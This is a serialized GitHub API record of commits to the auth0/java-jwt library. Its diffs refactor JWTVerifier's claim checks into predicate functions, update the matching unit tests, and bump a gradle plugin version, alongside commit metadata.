         }
-    }
 
-    private static boolean isNullOrEmpty(String[] args) {
-        if (args == null || args.length == 0) {
-            return true;
-        }
-        boolean isAllNull = true;
-        for (String arg : args) {
-            if (arg != null) {
-                isAllNull = false;
-                break;
+        private boolean isNullOrEmpty(String[] args) {
+            if (args == null || args.length == 0) {
+                return true;
             }
+            boolean isAllNull = true;
+            for (String arg : args) {
+                if (arg != null) {
+                    isAllNull = false;
+                    break;
+                }
+            }
+            return isAllNull;
         }
-        return isAllNull;
     }
 
 
@@ -313,7 +388,7 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
     public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
         verifyAlgorithm(jwt, algorithm);
         algorithm.verify(jwt);
-        verifyClaims(jwt, expectedClaims);
+        verifyClaims(jwt, expectedChecks);
         return jwt;
     }
 
@@ -323,156 +398,18 @@ private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws
         }
     }
 
-    private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims) throws TokenExpiredException, InvalidClaimException {
-        for (Map.Entry<String, Object> entry : claims.entrySet()) {
-            if (entry.getValue() instanceof NonEmptyClaim) {
-                assertClaimPresent(jwt.getClaim(entry.getKey()), entry.getKey());
-            } else {
-                verifyClaimValues(jwt, entry);
-            }
-        }
-    }
-
-    private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
-        switch (expectedClaim.getKey()) {
-            // We use custom keys for audience in the expected claims to differentiate between validating that the audience
-            // contains all expected values, or validating that the audience contains at least one of the expected values.
-            case AUDIENCE_EXACT:
-                assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), true);
-                break;
-            case AUDIENCE_CONTAINS:
-                assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.EXPIRES_AT:
-                assertValidInstantClaim(jwt.getExpiresAtAsInstant(), (Long) expectedClaim.getValue(), true);
-                break;
-            case PublicClaims.ISSUED_AT:
-                assertValidInstantClaim(jwt.getIssuedAtAsInstant(), (Long) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.NOT_BEFORE:
-                assertValidInstantClaim(jwt.getNotBeforeAsInstant(), (Long) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.ISSUER:
-                assertValidIssuerClaim(jwt.getIssuer(), (List<String>) expectedClaim.getValue());
-                break;
-            case PublicClaims.JWT_ID:
-                assertValidStringClaim(expectedClaim.getKey(), jwt.getId(), (String) expectedClaim.getValue());
-                break;
-            case PublicClaims.SUBJECT:
-                assertValidStringClaim(expectedClaim.getKey(), jwt.getSubject(), (String) expectedClaim.getValue());
-                break;
-            default:
-                assertValidClaim(jwt, expectedClaim);
-                break;
-        }
-    }
-
-    private void assertClaimPresent(Claim claim, String claimName) {
-        if (claim instanceof NullClaim) {
-            throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", claimName));
-        }
-    }
-
-    private void assertValidClaim(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
-        boolean isValid = false;
-        String claimName = expectedClaim.getKey();
-        Object expectedClaimValue = expectedClaim.getValue();
-        Claim claim = jwt.getClaim(claimName);
-
-        if (expectedClaimValue instanceof String) {
-            isValid = expectedClaimValue.equals(claim.asString());
-        } else if (expectedClaimValue instanceof Integer) {
-            isValid = expectedClaimValue.equals(claim.asInt());
-        } else if (expectedClaimValue instanceof Long) {
-            isValid = expectedClaimValue.equals(claim.asLong());
-        } else if (expectedClaimValue instanceof Boolean) {
-            isValid = expectedClaimValue.equals(claim.asBoolean());
-        } else if (expectedClaimValue instanceof Double) {
-            isValid = expectedClaimValue.equals(claim.asDouble());
-        } else if (expectedClaimValue instanceof Instant) {
-            isValid = expectedClaimValue.equals(claim.asInstant());
-        } else if (expectedClaimValue instanceof BiPredicate) {
-            isValid = ((BiPredicate) expectedClaimValue).test(claim, jwt);
-        } else if (expectedClaimValue instanceof Object[]) {
-            List<Object> claimArr;
-            Object[] claimAsObject = claim.as(Object[].class);
-
-            // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
-            if (expectedClaimValue instanceof Long[]) {
-                // convert Integers to Longs for comparison with equals
-                claimArr = new ArrayList<>(claimAsObject.length);
-                for (Object cao : claimAsObject) {
-                    if (cao instanceof Integer) {
-                        claimArr.add(((Integer) cao).longValue());
-                    } else {
-                        claimArr.add(cao);
-                    }
-                }
-            } else {
-                claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
-            }
-            List<Object> valueArr = Arrays.asList((Object[]) expectedClaimValue);
-            isValid = claimArr.containsAll(valueArr);
-        }
-
-        if (!isValid) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
-
-    private void assertValidStringClaim(String claimName, String value, String expectedValue) {
-        if (!expectedValue.equals(value)) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
-
-    private void assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
-        Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
-        if (shouldBeFuture) {
-            assertInstantIsFuture(claimVal, leeway, now);
-        } else {
-            assertInstantIsPast(claimVal, leeway, now);
-        }
-    }
-
-    private void assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
-        if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
-            throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
-        }
-    }
-
-    private void assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
-        if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
-            throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
-        }
-    }
-
-    private void assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
-        if (audience == null || (shouldContainAll && !audience.containsAll(values)) ||
-                (!shouldContainAll && Collections.disjoint(audience, values))) {
-            throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
-        }
-    }
-
-    private void assertValidIssuerClaim(String issuer, List<String> value) {
-        if (issuer == null || !value.contains(issuer)) {
-            throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
-        }
-    }
-
-    /**
-     * Simple singleton used to mark that a claim should only be verified for presence.
-     */
-    private static class NonEmptyClaim {
-        private static NonEmptyClaim nonEmptyClaim;
+    private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, DecodedJWT>> claims) throws TokenExpiredException, InvalidClaimException {
+        for (Map.Entry<String, BiPredicate<Claim, DecodedJWT>> entry : claims.entrySet()) {
+            boolean isValid;
+            String claimName = entry.getKey();
+            BiPredicate<Claim, DecodedJWT> expectedCheck = entry.getValue();
+            Claim claim = jwt.getClaim(claimName);
 
-        private NonEmptyClaim() {}
+            isValid = expectedCheck.test(claim, jwt);
 
-        public static NonEmptyClaim getInstance() {
-            if (nonEmptyClaim == null) {
-                nonEmptyClaim = new NonEmptyClaim();
+            if (!isValid) {
+                throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
             }
-            return nonEmptyClaim;
         }
     }
 }u}(je*  (1e425660a6c762ba4c2fe4f9667df40798bdb9a1j*  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj*  modifiedj*  K?j*  Kcj*  Kj*  https://github.com/auth0/java-jwt/blob/ddbca99a115cf219701928220ffe1c199517e64b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj*  https://github.com/auth0/java-jwt/raw/ddbca99a115cf219701928220ffe1c199517e64b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj*  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=ddbca99a115cf219701928220ffe1c199517e64bj*  XI9  @@ -4,6 +4,7 @@
 import com.auth0.jwt.exceptions.AlgorithmMismatchException;
 import com.auth0.jwt.exceptions.InvalidClaimException;
 import com.auth0.jwt.exceptions.TokenExpiredException;
+import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 import org.junit.Rule;
@@ -16,8 +17,6 @@
 import java.time.ZoneId;
 import java.util.Collections;
 import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
@@ -263,63 +262,29 @@ public void shouldRemoveAudienceWhenPassingNullReference() {
                 .withAudience((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience()
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         String emptyAud = "   ";
         verifier = JWTVerifier.init(algorithm)
                 .withAudience(emptyAud)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry(JWTVerifier.AUDIENCE_EXACT, Collections.singletonList(emptyAud)));
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience((String) null)
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience()
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        String emptyAud = "   ";
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience(emptyAud)
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry(JWTVerifier.AUDIENCE_CONTAINS, Collections.singletonList(emptyAud)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
     }
 
     @Test
@@ -330,16 +295,16 @@ public void shouldRemoveAudienceWhenPassingNull() {
                 .withAudience((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience("John")
                 .withAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
     }
 
     @Test
@@ -350,16 +315,16 @@ public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() {
                 .withAnyOfAudience((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience("John")
                 .withAnyOfAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
     }
 
     @Test
@@ -453,10 +418,10 @@ public void shouldThrowOnInvalidCustomClaimValue() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        Map<String, Object> map = new HashMap<>();
-        map.put("name", new Object());
-        JWTVerifier verifier = new JWTVerifier(Algorithm.HMAC256("secret"), map, Clock.systemUTC());
-        verifier.verify(token);
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("name", "")
+                .build()
+                .verify(token);
     }
 
     @Test
@@ -533,8 +498,8 @@ public void shouldRemoveCustomClaimOfTypeDateWhenNull() {
                 .withClaim("name", (Date) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
     }
 
     @Test
@@ -593,76 +558,76 @@ public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong()
     }
 
     // Generic Delta
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldAddDefaultLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 0L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 0L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 0L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(0L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(0L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(0L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldAddCustomLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultIssuedAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptIssuedAt(9999L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 9999L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(9999L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultExpiresAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptExpiresAt(9999L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 9999L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(9999L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultNotBeforeLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptNotBefore(9999L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 9999L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(9999L));
     }
 
     @Test
@@ -860,16 +825,16 @@ public void shouldRemoveClaimWhenPassingNull() {
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
     }
 
     @Test
@@ -879,30 +844,29 @@ public void shouldRemoveIssuerWhenPassingNullReference() {
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer()
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         String emptyIss = "  ";
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer(emptyIss)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iss", Collections.singletonList(emptyIss)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
     }
 
     @Testueu(8c14d86853ea8c8385d07147ccb77ed3f0518d96}(sha(8c14d86853ea8c8385d07147ccb77ed3f0518d96node_idEC_kwDOAQtL0doAKDhjMTRkODY4NTNlYThjODM4NWQwNzE0N2NjYjc3ZWQzZjA1MThkOTYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-09-08T01:00:04Zu	committer}(j*  GitHubj*  noreply@github.comj*  2022-09-08T01:00:04Zumessage/Merge branch 'master' into check-for-null-tokentree}(j*  (d59f2dd0a91cda44cf022a2a0d123e6473a1e62aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/d59f2dd0a91cda44cf022a2a0d123e6473a1e62auj*  `https://api.github.com/repos/auth0/java-jwt/git/commits/8c14d86853ea8c8385d07147ccb77ed3f0518d96
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjGT6UCRBK7hj4Ov3rIwAADvYIAAMj0KEZAdWIQZUi8ae9IYOz
6ZJ4KTVu2tElN57gc4tiuEtnuPIuyMCkpkgAE5u5j1fGDTkSavCZxl73OWeCeubT
f/QlnJWN+IL3XNEn5eEyIqPp80bkOTr1anG408zV5uuJY87cVv2sxUK4azDKXLTp
GDYEYnqJd7ZuyJGH5ir8oSW3BobnOLk8+oSaAsN0dSlWf99r7hncKG+fjzUGXprn
+081xAXNrkg6flXlnE7OWVtv+/hS05/+ZIX05cGwFIZ7JpQWZK9Cn2afq+XZmzQY
cuz9c9KFPOayx9Bz71W4q+V9HOWAVPdWcTkVlarVfk1mqY5o+qGzbJMDdTzMHpY=
=1R4k
-----END PGP SIGNATURE-----
payloadX3  tree d59f2dd0a91cda44cf022a2a0d123e6473a1e62a
parent 20fd5b730d57290ee0af827dafb335c2ac5d7dd1
parent 0856e124533f2b87e45665cbba7096883e370007
author Jim Anderson <jim.anderson@auth0.com> 1662598804 -0500
committer GitHub <noreply@github.com> 1662598804 -0500

Merge branch 'master' into check-for-null-tokenuuj*  \https://api.github.com/repos/auth0/java-jwt/commits/8c14d86853ea8c8385d07147ccb77ed3f0518d96html_urlQhttps://github.com/auth0/java-jwt/commit/8c14d86853ea8c8385d07147ccb77ed3f0518d96comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8c14d86853ea8c8385d07147ccb77ed3f0518d96/commentsj*  }(login
jimmyjamesidJ7 j*  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j*  'https://api.github.com/users/jimmyjamesj+  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj*  }(j
+  web-flowj+  J/j*  MDQ6VXNlcjE5ODY0NDQ3j+  4https://avatars.githubusercontent.com/u/19864447?v=4j+  h3j*  %https://api.github.com/users/web-flowj+  https://github.com/web-flowj+  /https://api.github.com/users/web-flow/followersj+  <https://api.github.com/users/web-flow/following{/other_user}j+  5https://api.github.com/users/web-flow/gists{/gist_id}j+  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j+  3https://api.github.com/users/web-flow/subscriptionsj +  *https://api.github.com/users/web-flow/orgsj"+  +https://api.github.com/users/web-flow/reposj$+  6https://api.github.com/users/web-flow/events{/privacy}j&+  5https://api.github.com/users/web-flow/received_eventsj(+  Userj*+  uparents](}(j*  (20fd5b730d57290ee0af827dafb335c2ac5d7dd1j*  \https://api.github.com/repos/auth0/java-jwt/commits/20fd5b730d57290ee0af827dafb335c2ac5d7dd1j+  Qhttps://github.com/auth0/java-jwt/commit/20fd5b730d57290ee0af827dafb335c2ac5d7dd1u}(j*  (0856e124533f2b87e45665cbba7096883e370007j*  \https://api.github.com/repos/auth0/java-jwt/commits/0856e124533f2b87e45665cbba7096883e370007j+  Qhttps://github.com/auth0/java-jwt/commit/0856e124533f2b87e45665cbba7096883e370007uestats}(totalK	additionsK	deletionsKufiles]}(j*  (a4cda2d7db0cc2eb8d4d8d3bf9b39f8891093cc1filenamesettings.gradlestatusmodifiedjH+  KjI+  KchangesKblob_url_https://github.com/auth0/java-jwt/blob/8c14d86853ea8c8385d07147ccb77ed3f0518d96/settings.gradleraw_url^https://github.com/auth0/java-jwt/raw/8c14d86853ea8c8385d07147ccb77ed3f0518d96/settings.gradlecontents_urlqhttps://api.github.com/repos/auth0/java-jwt/contents/settings.gradle?ref=8c14d86853ea8c8385d07147ccb77ed3f0518d96patch@@ -3,7 +3,7 @@ pluginManagement {
         gradlePluginPortal()
     }
     plugins {
-        id 'com.auth0.gradle.oss-library.java' version '0.16.0'
+        id 'com.auth0.gradle.oss-library.java' version '0.17.2'
     }
 }
 uau(ee1265cbf9ed5ab2ecf478cebe75fbb347659c12}(sha(ee1265cbf9ed5ab2ecf478cebe75fbb347659c12node_idEC_kwDOAQtL0doAKGVlMTI2NWNiZjllZDVhYjJlY2Y0NzhjZWJlNzVmYmIzNDc2NTljMTIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-04T10:55:00Zu	committer}(je+  
Poovamraj T Tjg+  poovamraj@gmail.comji+  2022-03-04T10:55:00ZumessageIgnore secp256k1 curve teststree}(j]+  (a35a44883cbdbb56ba3cfa0ceb87cdae7c567ab0url^https://api.github.com/repos/auth0/java-jwt/git/trees/a35a44883cbdbb56ba3cfa0ceb87cdae7c567ab0uju+  `https://api.github.com/repos/auth0/java-jwt/git/commits/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuju+  \https://api.github.com/repos/auth0/java-jwt/commits/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12html_urlQhttps://github.com/auth0/java-jwt/commit/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/commentsjc+  }(login	poovamrajidJ j_+  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3ju+  &https://api.github.com/users/poovamrajj+  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujk+  }(j+  	poovamrajj+  J j_+  MDQ6VXNlcjE1OTEwNDI1j+  4https://avatars.githubusercontent.com/u/15910425?v=4j+  h3ju+  &https://api.github.com/users/poovamrajj+  https://github.com/poovamrajj+  0https://api.github.com/users/poovamraj/followersj+  =https://api.github.com/users/poovamraj/following{/other_user}j+  6https://api.github.com/users/poovamraj/gists{/gist_id}j+  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j+  4https://api.github.com/users/poovamraj/subscriptionsj+  +https://api.github.com/users/poovamraj/orgsj+  ,https://api.github.com/users/poovamraj/reposj+  7https://api.github.com/users/poovamraj/events{/privacy}j+  6https://api.github.com/users/poovamraj/received_eventsj+  Userj+  uparents]}(j]+  (030c685a07d125b2eac813daaa222b8bd1631cf2ju+  \https://api.github.com/repos/auth0/java-jwt/commits/030c685a07d125b2eac813daaa222b8bd1631cf2j+  Qhttps://github.com/auth0/java-jwt/commit/030c685a07d125b2eac813daaa222b8bd1631cf2uastats}(totalK	additionsK	